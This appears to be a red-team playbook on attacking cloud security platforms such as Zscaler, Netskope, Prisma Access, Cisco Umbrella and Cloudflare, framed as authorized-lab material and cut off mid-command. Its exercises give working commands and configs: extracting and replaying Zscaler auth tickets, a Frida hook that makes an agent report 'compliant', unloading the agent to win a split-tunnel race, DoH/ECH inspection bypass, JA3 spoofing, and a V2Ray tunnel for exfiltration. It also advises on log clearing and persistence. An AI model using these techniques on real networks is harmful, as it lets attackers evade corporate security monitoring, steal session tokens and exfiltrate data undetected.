Sase Sse Attack

Skill: SASE / SSE Platform Attack

Supplementary Files:

• payloads.md — Command catalogue organized by vendor (Zscaler, Netskope, Palo Alto Prisma Access, Cisco Umbrella, CATO Networks, Cloudflare One, Microsoft Entra Global Secure Access) and by cross-cutting technique (client connector reverse engineering, TLS inspection bypass, split-tunnel abuse, anonymizer proxy evasion, identity-based bypass). 14 sections with real commands, Frida scripts, mitmproxy addons, JA3/JA4 spoofing configs, and detection-evasion patterns for authorized red team operations.
• test-cases.md — Structured test cases (TC-SS-001..012): SSE vendor fingerprinting, Zscaler Client Connector reverse engineering, ZPA App Connector takeover, Zscaler OAuth token replay, Netskope client bypass via app-specific routing, MACE evasion, TLS fingerprint (JA3/JA4) spoofing, Palo Alto Prisma Access agent auth bypass, Cisco Umbrella roaming client bypass, Cloudflare WARP/Gateway bypass, anonymizer proxy (Shadowsocks/V2Ray/Obfs4/Trojan) evasion, split-tunnel race condition exploitation.
• guides/sase-sse-attack-playbook.md — End-to-end red team playbook: identify SSE vendor → enumerate client connector → reverse engineer bypass → exfiltrate through SSE → evade SSL inspection → detection guidance. Includes lab setup (simulated Zscaler/Netskope tenant, BYOD device with Frida), MITRE ATT&CK mapping, vendor decision tree, and report template.

Summary

SASE/SSE attack skill domain covering modern converged cloud security platforms — the SWG (Secure Web Gateway) + CASB (Cloud Access Security Broker) + ZTNA (Zero Trust Network Access) + FWaaS (Firewall-as-a-Service) stack sold by Zscaler, Netskope, Palo Alto, Cisco, CATO, Cloudflare, and Microsoft. The corporate network edge is no longer a VPN concentrator or a perimeter firewall; it is a HTTPS interception proxy in the cloud, a posture-checking agent on every endpoint, and an SSO-bound identity layer that decides which user on which device gets to talk to which app. This skill is the SSE-era counterpart to vpn-attack: where that skill covers traditional IPsec/SSL VPN tunnels, this skill covers the agent-based, identity-aware, TLS-intercepting converged platforms that have largely replaced VPN for branch, remote, and BYOD access.

Tools: Wireshark, mitmproxy + mitmweb, Frida (macOS, Windows, Linux agents), Burp Suite, JA3/JA4 tooling (ja3-python, ja4), Python cryptography / cryptography.io, OpenSSL, CFSSL, Charles Proxy, Proxyman, HTTP Toolkit, Shadowsocks / V2Ray / Obfs4 / Trojan (for evasion lab), Terraform (for tenant lab provisioning), Microsoft Graph + Entra ID tooling (cross-references cloud-identity-attack).

Domain: network-security

MITRE ATT&CK: T1557-Adversary-in-the-Middle (TLS interception, SSL pinning bypass), T1027-Obfuscated Files or Information (TLS fingerprint spoofing, anonymizer proxies), T1078-Valid Accounts (stolen SSO token replay through SSE), T1550-Use Alternate Authentication Material (OAuth token, session cookie, mTLS cert reuse), T1572-Protocol Tunneling (Shadowsocks/V2Ray over SSE), T1573-Encrypted Channel (DoT/DoH/ECH).

Description

The enterprise edge converged. In 2015, a remote user opened an AnyConnect or Pulse Secure tunnel, hit a perimeter firewall, and exited through a forward proxy; each function was a separate appliance with separate logs. In 2026, the same user runs a single agent — Zscaler Client Connector, Netskope Client, GlobalProtect, Cisco Secure Client (Umbrella Roaming), CATO Socket, Cloudflare WARP, or Microsoft Global Secure Access Client — that performs identity-aware posture checking, establishes a tunnel to a vendor cloud, decrypts and inspects every HTTPS flow against SWG/CASB policies, and re-encrypts to the destination. Every domain you resolve, every TLS handshake you start, every SSO cookie you send passes through that one agent and that one vendor cloud. The SSE cloud is a globally distributed adversary-in-the-middle — deployed by the defender.

This skill covers the eight things that distinguish SASE/SSE attacks from traditional VPN attacks:

1. The agent is the new perimeter — and it lives on the endpoint — Traditional VPN concentrators were network devices; the agent is a userland process with kernel extensions (NetworkExtension on macOS, WFP/NDIS on Windows, eBPF on Linux) and a TLS inspection root cert in the system trust store. The agent's attack surface includes its IPC interfaces (Zscaler's ztwsrvd, Netskope's stAgentUI, GlobalProtect's PanGPA), its local config files, its authentication state (OAuth tokens, mTLS certs, posture cookies), and its trust anchor (the root cert that lets it impersonate every HTTPS site). Compromise the agent or its trust anchor → decrypt every flow. Mandiant's 2023 research on BYOD-targeting malware (e.g., the OSX/Shlayer variant that specifically tries to disable Zscaler Client Connector on macOS) shows this is no longer theoretical.

2. TLS inspection is mandatory and unilateral — and bypassable at the protocol layer — The SSE cloud decrypts every flow by presenting its own leaf cert signed by its own root, which is installed in the system trust store by the agent. This works against every browser, every language's default HTTP client, and most SDKs. It fails against (a) certificate-pinning apps that refuse the SSE root, (b) ECH/ESNI-aware clients that encrypt the inner SNI, (c) DoH/DoT resolvers that bypass the corporate DNS the SSE uses for policy, (d) protocols layered on TLS that re-encrypt (Shadowsocks, V2Ray vmess+vless+tls, Trojan, Obfs4) and present a fingerprint the SWG does not recognize as proxy egress.

3. Identity is the new ACL — and tokens are the credential — Zscaler ZIA authenticates via SAML SSO or an OAuth-ish "Zscaler Ticket" issued by the Zscaler Issuing Server after a successful SSO redirect. ZPA App Connectors authenticate to the Zscaler cloud via a provisioning key + mTLS cert. Netskope authenticates the client via the user's IdP session + a per-tenant token. If an attacker steals the user's SSO cookie (via Phar-style cookie theft on macOS, LSASS reading on Windows, or SSE cloud token replay), the SSE cloud accepts the replayed token because the session is the identity — there is no second factor for "decrypt this flow" beyond the device posture the agent reports, and the agent's posture state is local to the endpoint.

4. App Connectors and Service Nodes are lateral movement — ZPA's architecture is "App Connectors" inside the corporate network, "Zscaler Cloud" in the middle, and "Zscaler Client Connector" on the endpoint. The App Connector holds a long-lived provisioning key and a mTLS cert; compromise one App Connector → reach every internal app the connector publishes. Mandiant documented (2024) a Chinese APT campaign that targeted Zscaler App Connectors as a persistence mechanism after the initial email compromise. The same pattern applies to Netskope Private Access Publishers, Palo Alto Prisma Access Service Infrastructure, and Cloudflare Tunnel connectors.

5. Posture is a function the agent computes — and the agent lives on the attacker's box — The SSE cloud asks "is this device compliant?" and the agent answers. The agent's posture answer is derived from local state — domain join check, EDR running check, disk encryption check, OS version, installed certificates. On BYOD the agent is unmanaged; on a managed device the agent reads MDM-enforced state. An attacker on a compromised managed device can patch the agent's posture reporter (Frida hook on getPosture(), modified nspa.xml, registry rewrite on Windows) to always return "compliant". On BYOD, the posture check is weaker by design — many ZTNA policies exclude BYOD from posture, treating "agent is running" as sufficient.

6. Split-tunneling is a race condition — Zscaler, Netskope, and Cisco Umbrella all support "internet-bound traffic via SSE, internal traffic direct" or the inverse. The decision is made per-flow by the agent based on a routing/PAC config. A process that binds a socket, sends the first SYN before the agent installs its WFP/NetworkExtension filter, or routes through a TUN interface the agent does not manage, can win the race and bypass the SSE entirely. Browser-based "app-specific routing" (Zscaler's "ZIA Forwarding for ZPA Apps", Netskope's "Steerable VPN") introduces a similar race at the app layer: a process that the agent classifies as "not subject to policy" goes direct.

7. Anonymizers defeat SWG policy — and SWGs know it — Shadowsocks (socks5 over TLS-ish), V2Ray (vmess/vless/trojan over WS/gRPC/TLS), Obfs4 (TOR with obfuscation), and Trojan (https-look proxy that serves a real website on probe) present a TLS handshake that the SWG cannot classify as proxy-evasion. SASE vendors maintain lists of known anonymizer infrastructure (datacenter IP ranges, known V2Ray nodes) and block them at the SWG — but the underlying TLS flow is indistinguishable from legitimate HTTPS, so blocking is IP/reputation-based. A V2Ray node on residential IP, or a Shadowsocks server on a cloud provider not yet classified as VPN, evades the SWG entirely.

8. Cross-vendor SSE detection is homogenous — defeat one, defeat all — All major SSE agents install a root cert, hook DNS, and intercept HTTPS. The defense for one is the defense for all: pinning, DoH, ECH, anonymizing proxies, race conditions. Mandiant/CrowdStrike/CISA research on Zscaler bypass applies to Netskope with minor modifications. The 2023 Storm-0558 Microsoft Entra compromise highlighted that the same stolen IdP token that granted mail access also authenticated to Microsoft Entra Global Secure Access — the SSE trust the IdP, so the IdP compromise is the SSE compromise.

Difference from vpn-attack: vpn-attack covers IPsec/IKE, SSL VPN (Pulse, Fortinet, Cisco AnyConnect Secure Mobility), OpenVPN, WireGuard — network-layer tunnels with a concentrator. This skill covers agent-based, identity-aware, TLS-intercepting SASE/SSE platforms (Zscaler, Netskope, Palo Alto Prisma Access, Cisco Umbrella, CATO, Cloudflare One, Microsoft Entra GSA). The overlap is "tunnel" — but VPN tunnels carry L3 packets while SSE tunnels carry HTTPS flows with mandatory TLS decryption. Where vpn-attack enumerates IKE transforms and PSKs, this skill enumerates client connector IPC and TLS root certs.

Difference from cloud-identity-attack: cloud-identity-attack covers the IdP layer (Entra ID, Okta, Auth0, Ping) and the OAuth/OIDC/SAML tokens issued there. This skill covers what happens to those tokens after they are issued — the SSE cloud trusts them, the agent enforces posture, and the SWG decrypts traffic based on the policy they unlock. Storm-0558 is the bridge: the IdP compromise → SSE bypass.

Difference from network-tunneling-proxy: network-tunneling-proxy covers generic tunneling (SSH, Chisel, Ngrok, DNS tunneling, ICMP tunneling). This skill uses those techniques specifically to evade the SWG — Shadowsocks/V2Ray/Trojan are network-tunneling-proxy tools deployed against the SSE inspection plane.

Difference from api-security: api-security covers REST/GraphQL/gRPC API testing generically. This skill covers the vendor-specific APIs of SASE platforms: Zscaler Login API (/login/v1/auth), Zscaler ZIA admin API (/api/v1), Netskope REST API v2 (/api/v2), Palo Alto Prisma Access API, Cisco Umbrella Management API, Cloudflare Access API. The SASE admin API is the lateral movement target once an admin token is obtained.

Use Cases

• SSE red team / authorized bypass assessment: Starting from a BYOD or compromised managed device, demonstrate exfiltration through the SSE cloud without detection — covering agent bypass, TLS inspection defeat, anonymizer evasion, and split-tunnel race conditions.
• Zscaler ZIA + ZPA assessment: Identify the ZIA tenant, enumerate forward proxy policies, test the Client Connector for IPC vulnerabilities, evaluate ZPA App Connector exposure, validate OAuth/Zscaler Ticket replay, and document every bypass class.
• Netskope Security Cloud assessment: Test the Netskope Client for app-specific routing bypass, MACE (Mirror Access Control Engine) evasion, JA3/JA4 fingerprint spoofing against Netskope's TLS classification, and Netskope TLS root cert theft.
• Palo Alto Prisma Access assessment: Evaluate the GlobalProtect agent's auth bypass surface, the Prisma Access Service Infrastructure exposure, and the Cloud Service Plugin admin API.
• Cisco Umbrella assessment: Test the roaming client bypass via DoH/DoT, the SmartProxy block-page bypass, and the Management API surface.
• CATO Networks SASE assessment: Test the SASE Socket (hardware/virtual) takeover surface, the isolated-traffic tunneling abuse patterns, and the management socket IPC.
• Cloudflare One / Zero Trust assessment: Test WARP client bypass, Cloudflare Gateway bypass via DoH, Access SSO bypass via stolen service token, and tunnel manipulation.
• Microsoft Entra Global Secure Access assessment: Test the Windows GSA client for traffic forwarding bypass, Private Access & Internet Access profile abuse, and the SSE implications of Entra ID compromise (Storm-0558 pattern).
• Anonymizer proxy evasion lab: In an authorized lab, deploy Shadowsocks / V2Ray (vmess/vless + WS + TLS) / Obfs4 / Trojan behind a residential IP, and demonstrate that the SWG cannot classify or block the resulting flows.
• SSE incident response support (defender side): Given Indicators of Compromise (unexpected root cert, agent service stopped, anomalous DNS to a DoH resolver, unknown TUN interface), trace the bypass technique, identify the bypass class, and document for forensics.
• Posture-check bypass audit: For each SSE vendor, audit the agent's posture reporter logic and identify which signals (domain join, EDR running, disk encryption) are spoofable via Frida hooks, file edits, or registry tampering.

Core Tools

Reconnaissance and Fingerprinting

Client Connector Reverse Engineering

TLS Inspection Bypass and Anonymizer Tooling

Vendor Admin API Tooling (cross-references cloud-identity-attack)

Methodology

SSE Attack Six-Phase Workflow

Phase 1            Phase 2            Phase 3            Phase 4            Phase 5            Phase 6
Vendor Recon   →   Client Connector   →   TLS Inspection →   Policy Bypass  →   Data            →   Detection
& Fingerprint      Reverse Eng.       Bypass              (App-Specific       Exfiltration        Avoidance &
                   (Frida/Hopper)     (Pinning/DoH/ECH)   Routing/Split)      via SSE/Anonymizer Persistence
   │                 │                 │                   │                  │                  │
   ▼                 ▼                 ▼                   ▼                  ▼                  ▼
 TLS cert issuer,   IPC, posture      Cert pinning,      ZIA-FWD-ZPA race,  Covert C2 over     Signatures,
 agent binary,      logic, auth       ECH/ESNI,          MACE evasion,      V2Ray/Trojan,      log hygiene,
 config files,      token cache,      DoH/DoT to          JA3/JA4 spoof,     data over SWG-     cert rotation,
 admin tenant       mTLS cert          outside resolver,   token replay       trusted egress     post-engagement
 enumeration        extraction         TLS fingerprint     through SSE                          cleanup
                    Frida hooks        spoofing                                                 ⚠ Authorized lab

Phase 1: Vendor Recon & Fingerprint — Identify the SSE vendor from the endpoint side. Look at the system trust store (who installed a root cert?), running processes (which agent is alive?), routing table (which TUN/utun is the agent's?), DNS resolver (which upstream does the agent enforce?), and HTTPS interception leaf (which issuer does the cert chain end with?). On the network side, identify the egress IPs the agent talks to (gateway.zscaler.net, <tenant>.goskope.com, prismaaccess.com, edge.cloudfront.net for Cloudflare). Enumerate the admin tenant via the vendor's public-facing portal (https://admin.<vendor>.com) when scoped.

Phase 2: Client Connector Reverse Engineering — Disassemble and instrument the agent. Locate the posture reporter (e.g., getPosture() in Zscaler's ZscalerClientConnector, the nspa.xml file consumed by Netskope, the PanGPA.heavy.lite files in GlobalProtect). Hook the posture function with Frida to always return "compliant". Locate the auth token cache (Zscaler's ~/Library/Application Support/Zscaler/, Netskope's ~/Library/Application Support/Netskope/, GlobalProtect's ~/Library/Preferences/com.paloaltonetworks.GlobalProtect.settings.plist); extract the OAuth / Zscaler Ticket / mTLS cert. Locate the IPC surface (Unix domain socket, named pipe, localhost TCP); enumerate commands accepted without authentication.

Phase 3: TLS Inspection Bypass — Defeat the agent's mandatory HTTPS interception. Three layers: (a) Application pinning — apps that pin to the real leaf cert reject the SSE's interception cert; the SSE either allows the flow direct (bypass) or fails it. Identify pinned apps and route traffic through them. (b) Encrypted Client Hello (ECH) / ESNI — clients that support ECH encrypt the inner SNI; the SWG cannot classify by destination domain. Configure Firefox/Chromium to enforce ECH. (c) DNS bypass via DoH/DoT — clients that resolve via DoH (https://cloudflare-dns.com/dns-query, https://dns.google/dns-query) bypass the corporate DNS the SSE uses for categorization; the SWG sees the destination IP but not the domain-based policy.

Phase 4: Policy Bypass (App-Specific Routing, Split-Tunnel, Token Replay) — Defeat the SSE's traffic steering. Techniques: (a) App-specific routing race — Zscaler's ZIA-FWD-ZPA, Netskope's Steerable VPN: a process classified as "not subject to policy" goes direct; identify the classification (by binary hash, by user, by destination) and inject a process that matches the bypass. (b) Split-tunnel race condition — bind the socket, send the first SYN before the agent's WFP/NetworkExtension filter is installed. (c) MACE (Netskope Mirror Access Control Engine) evasion — modify the headers / TLS fingerprint that MACE classifies on; spoof JA3/JA4 to match a "trusted" client. (d) Stolen token replay through SSE — the SSO cookie / OAuth token / Zscaler Ticket that authenticates the user to the SSE cloud can be replayed from another device; the SSE cloud trusts the token, not the device posture (in many configurations).

Phase 5: Data Exfiltration — Once policy is bypassed, exfiltrate data through or around the SSE. Through the SSE: data packaged inside a "trusted" HTTPS flow (e.g., to a corporate-trusted SaaS like OneDrive or Google Drive that the SWG does not inspect deeply). Around the SSE: data over V2Ray/Shadowsocks/Trojan to a residential IP the SWG does not classify as anonymizer. Hybrid: data over DoH to a malicious domain the SWG has not yet categorized.

Phase 6: Detection Avoidance & Persistence — Maintain access. Techniques: (a) Log hygiene — clear agent logs (where the agent logs locally), avoid triggering the agent's DLP/SSL-logging signature, time bypass activity to overlap with legitimate user activity. (b) Persistence via the agent itself — install a second agent profile, modify the PAC config to prefer attacker-controlled upstream, persist the stolen token across reboots. (c) Cert rotation — the SSE root cert is the trust anchor; if it rotates (annual cadence typically), re-extract.

Quick Selection Guide

Defense Perspective

Practical Steps

Detailed payloads in payloads.md, complete test checklist in test-cases.md.

Exercise 1: Identify the SSE Vendor on an Endpoint (macOS)

# 1. Check the system trust store for an SSE-installed root cert
security find-certificate -a -c 'Zscaler' /Library/Keychains/System.keychain 2>&1 | head -5
security find-certificate -a -c 'Netskope' /Library/Keychains/System.keychain 2>&1 | head -5
security find-certificate -a -c 'GlobalProtect' /Library/Keychains/System.keychain 2>&1 | head -5
security find-certificate -a -c 'Cisco' /Library/Keychains/System.keychain 2>&1 | head -5
security find-certificate -a -c 'CATO' /Library/Keychains/System.keychain 2>&1 | head -5
security find-certificate -a -c 'Cloudflare' /Library/Keychains/System.keychain 2>&1 | head -5
security find-certificate -a -c 'Microsoft' /Library/Keychains/System.keychain 2>&1 | head -5

# 2. List running agent processes
ps -axo pid,comm | grep -iE 'zsagent|zscaler|nspa|netskope|pangpa|globalprotect|umbrella|cato|cloudflare|warp|gsa|globalsecure'

# 3. Inspect routing table for the agent's TUN/utun interface
ifconfig | grep -E 'utun|tun|ipsec|cato|warp|tunnel'
netstat -rn | grep -E 'utun|tun'

# 4. Identify DNS resolver the agent enforces
scutil --dns | grep 'nameserver\[0\]'

# 5. Fingerprint the HTTPS interception issuer
echo Q | openssl s_client -showcerts -connect www.example.com:443 2>/dev/null \
  | openssl x509 -noout -issuer -subject
# If issuer = "Zscaler Root CA" → Zscaler ZIA
# If issuer = "Netskope Root CA" → Netskope Security Cloud
# If issuer = "Palo Alto Networks" → Prisma Access (or GlobalProtect)
# If issuer = "Cisco Umbrella" → Umbrella SWG
# If issuer = "Cloudflare" → Cloudflare Gateway

Exercise 2: Zscaler Client Connector Token Cache Extraction (Authorized Lab)

# macOS: Zscaler Client Connector caches auth state
sudo find ~/Library/Application\ Support/Zscaler -type f 2>/dev/null
sudo find /Library/Application\ Support/Zscaler -type f 2>/dev/null

# The key files (paths may vary by agent version):
#   ~/Library/Application Support/Zscaler/ZscalerClientConnector/zsatoken
#   ~/Library/Application Support/Zscaler/ZscalerClientConnector/obkey
#   ~/Library/Application Support/Zscaler/ZscalerClientConnector/auditlog
#   /Library/Application Support/Zscaler/Zscaler/.zscalerinfo

# Read the obkey (Zscaler Ticket - replayable to the ZIA cloud)
sudo cat ~/Library/Application\ Support/Zscaler/ZscalerClientConnector/obkey 2>/dev/null | base64 -d 2>/dev/null | head -c 200

# Replay the Zscaler Ticket to authenticate to the ZIA cloud (authorized lab only)
ZSCALER_TICKET='REPLACE_WITH_YOUR_TICKET'
ZIA_CLOUD='REPLACE_WITH_YOUR_ZIA_CLOUD'  # e.g., gateway.zscalerbeta.net
curl -s -H "Content-Type: application/json" \
  "https://$ZIA_CLOUD/api/v1/auth?ticket=$ZSCALER_TICKET&username=REPLACE_WITH_YOUR_USERNAME" \
  | jq .

Exercise 3: Frida Posture Hook (Zscaler / Generic Pattern)

# Attach Frida to the running agent (authorized lab; agent must not have anti-Frida)
# macOS pattern: hook the agent's posture reporter function

# Spawn the agent with Frida (or attach to PID)
frida -f /Applications/Zscaler/ZscalerClientConnector.app/Contents/MacOS/ZscalerClientConnector \
  -l /tmp/bypass-posture.js --no-pause

# Sample bypass-posture.js (educational; vendor/version dependent)
cat > /tmp/bypass-posture.js << 'EOF'
// Hook the posture reporter; replace with the actual function name from disassembly
// Use `frida-trace -i '*[Pp]osture*' -n ZscalerClientConnector` to discover
const postureFunc = Module.getGlobalExportByName('_ZN20ZscalerClientConnector13getPostureEv') // Frida 17+
  || Module.getGlobalExportByName('getPostureState');

if (postureFunc) {
  Interceptor.replace(postureFunc, new NativeCallback(() => {
    // Return "compliant" struct/string the agent expects
    console.log('[+] Posture hook fired — returning compliant');
    return 1;  // REPLACE: match the expected compliant return value
  }));
} else {
  console.log('[-] Posture function not found; enumerate with frida-trace');
}
EOF

# Note: Modern agents (2025+) ship with anti-Frida (PTrace checks, code signing).
# In authorized lab, disable SIP (`csrutil disable` in recovery), or use a Frida variant that evades.

Exercise 4: TLS Inspection Bypass via Encrypted Client Hello (ECH)

# Firefox with ECH enforced — the SWG cannot read the inner SNI
# 1. about:config → set network.dns.echconfig.enabled=true, network.dns.use_https_rr_as_altsvc=true
# 2. Set DoH to a non-SSE resolver: about:config → network.trr.uri=https://cloudflare-dns.com/dns-query
# 3. Verify: visit https://crypto.mozilla.org/cdn-cgi/trace — verify ECH is in use

# Chromium with ECH
# 1. chrome://flags/#encrypted-client-hello → Enabled
# 2. Restart Chrome
# 3. Verify at https://tls-ech.dev/

# Demonstrate the bypass (authorized lab): visit a blocked category site
# - Without ECH: SWG reads SNI, applies policy, blocks
# - With ECH: SWG cannot read SNI; if policy is domain-based, the flow passes

# Note: Many SASE vendors added ECH-block at the network edge in 2024.
# Test whether the specific deployment blocks ECH by checking TLS handshake:
tshark -i en0 -Y 'tls.handshake.type == 1' -V 'tls.handshake.extension_info' \
  -o 'tls.keys_list:...' 2>&1 | grep -i 'ECH\|encrypted_server_name'

Exercise 5: DoH/DoT Bypass of SSE-Enforced DNS

# Configure a local DoH resolver that bypasses the agent-enforced DNS
# Install dnscrypt-proxy
brew install dnscrypt-proxy  # macOS
# Edit /opt/homebrew/etc/dnscrypt-proxy.toml:
#   server_names = ['cloudflare', 'google']
#   listen_addresses = ['127.0.0.1:5300']
#   dnscrypt_servers = false
#   doh_servers = true
#   require_dnssec = true

brew services start dnscrypt-proxy

# Configure the system to use the local DoH resolver
# (the SSE agent enforces its DNS via the NetworkExtension; on a BYOD device
# without enforced DNS, this works directly. On a managed device, you may need
# to bind the application's resolver explicitly — e.g., Firefox network.trr.uri)
sudo networksetup -setdnsservers Wi-Fi 127.0.0.1

# Verify DNS is no longer going through the SSE
dig +trace example.com
# If the trace shows hops through a non-corporate resolver, the SSE DNS bypass is in effect.

Exercise 6: JA3/JA4 Spoofing against Netskope MACE (Authorized Lab)

# Netskope's MACE classifies flows by TLS fingerprint + HTTP headers.
# A flow that matches a "trusted" client (e.g., Chrome on Windows) is allowed;
# an "unknown" client (e.g., curl) may be classified as proxy / datacenter / malicious.

# 1. Capture the JA3 fingerprint of a known-trusted client
# Use a clean Chrome installation:
python3 -c "
import socket, ssl, hashlib
ctx = ssl.create_default_context()
with socket.create_connection(('www.example.com', 443)) as sock:
    with ctx.wrap_socket(sock, server_hostname='www.example.com') as ssock:
        pass
"
# Better: use the ja3 Python library to compute the actual JA3
pip install ja3
python3 -m ja3 --host www.example.com --port 443

# 2. Configure curl-impersonate to spoof Chrome's JA3
# Install curl-impersonate (https://github.com/lwthiker/curl-impersonate)
brew install curl-impersonate
# Use chrome-specific binary:
curl_chrome116 https://blocked-by-mace.example.com/ -o /dev/null -w '%{http_code}\n'
# If MACE was blocking based on the curl JA3, this bypasses.

# 3. For Python, use tls-client (https://github.com/bogdanfinn/tls-client)
pip install tls-client
python3 -c "
import tls_client
session = tls_client.Session(client_identifier='chrome_120')
r = session.get('https://blocked-by-mace.example.com/')
print(r.status_code)
"

Exercise 7: Split-Tunnel Race Condition (Zscaler ZIA-FWD-ZPA Pattern)

# Zscaler ZIA-FWD-ZPA routes "ZPA app traffic" direct, "internet traffic" via ZIA.
# A process can win the classification race during agent startup.

# Pattern 1: Race at agent startup (authorized lab)
#   1. Stop the ZscalerClientConnector agent (require local admin)
#   2. Open a socket to the destination
#   3. Restart the agent
#   Result: the socket was classified before the agent's filter installed → bypassed

sudo launchctl unload /Library/LaunchDaemons/com.zscaler.agentdaemon.plist
# Open the socket immediately (e.g., a long-lived HTTPS connection)
nohup curl --keepalive-time 60 -o /dev/null https://blocked-via-zpa.example.com &
sleep 1
sudo launchctl load /Library/LaunchDaemons/com.zscaler.agentdaemon.plist

# Pattern 2: LD_PRELOAD/DYLD_INSERT_LIBRARIES hook on connect()
# This requires disabling SIP on macOS (authorized lab); on Linux it works directly.
# The hook binds the socket before the agent's classification runs.

# Demonstration on Linux (no SIP):
cat > /tmp/hook_connect.c << 'EOF'
#define _GNU_SOURCE
#include <dlfcn.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) {
    static int (*real_connect)(int, const struct sockaddr *, socklen_t) = NULL;
    if (!real_connect) real_connect = dlsym(RTLD_NEXT, "connect");
    // Force the connect to happen during agent startup race window
    return real_connect(sockfd, addr, addrlen);
}
EOF
gcc -shared -fPIC -o /tmp/hook_connect.so /tmp/hook_connect.c -ldl
LD_PRELOAD=/tmp/hook_connect.so curl https://blocked.example.com

Exercise 8: V2Ray as Anonymizer Evasion (Authorized Lab)

# Deploy a V2Ray (Xray) server on a residential IP (authorized lab)
# Configure vmess + WebSocket + TLS to look like legitimate HTTPS

# Server config (residential IP VPS): /etc/xray/config.json
cat > /etc/xray/config.json << EOF
{
  "inbounds": [{
    "port": 443,
    "protocol": "vmess",
    "settings": {"clients": [{"id": "REPLACE_WITH_YOUR_UUID", "alterId": 0}]},
    "streamSettings": {
      "network": "ws",
      "security": "tls",
      "tlsSettings": {"certificates": [{"certificateFile": "/etc/xray/fullchain.pem", "keyFile": "/etc/xray/privkey.pem"}]},
      "wsSettings": {"path": "/REPLACE_WITH_YOUR_PATH"}
    }
  }],
  "outbounds": [{"protocol": "freedom"}]
}
EOF
systemctl restart xray

# Client config: local client on the SSE-protected endpoint
cat > /tmp/v2ray-client.json << EOF
{
  "inbounds": [{"port": 1080, "listen": "127.0.0.1", "protocol": "socks"}],
  "outbounds": [{
    "protocol": "vmess",
    "settings": {"vnext": [{
      "address": "REPLACE_WITH_YOUR_RESIDENTIAL_IP",
      "port": 443,
      "users": [{"id": "REPLACE_WITH_YOUR_UUID", "alterId": 0}]
    }]},
    "streamSettings": {
      "network": "ws",
      "security": "tls",
      "tlsSettings": {"serverName": "REPLACE_WITH_YOUR_DOMAIN"},
      "wsSettings": {"path": "/REPLACE_WITH_YOUR_PATH"}
    }
  }]
}
EOF
xray run -c /tmp/v2ray-client.json &

# Use the local socks proxy
curl --socks5 127.0.0.1:1080 https://ifconfig.me

# To the SSE SWG: the flow looks like legitimate HTTPS to REPLACE_WITH_YOUR_DOMAIN.
# The SWG may still flag if the domain is on a blocklist; rotate domains or use CDN fronting.

Exercise 9: Cisco Umbrella Roaming Client Bypass via DoH

# Cisco Umbrella roaming client enforces DNS via a local resolver that talks to Umbrella.
# DoH bypasses this entirely.

# Approach 1: Browser-enforced DoH (Firefox)
# about:config:
#   network.trr.uri = https://doh.opendns.com/dns-query  (or https://dns.google/dns-query)
#   network.trr.mode = 3  (TRR-only mode)

# Approach 2: Kill the roaming client (requires local admin)
sudo launchctl unloa

…(truncated)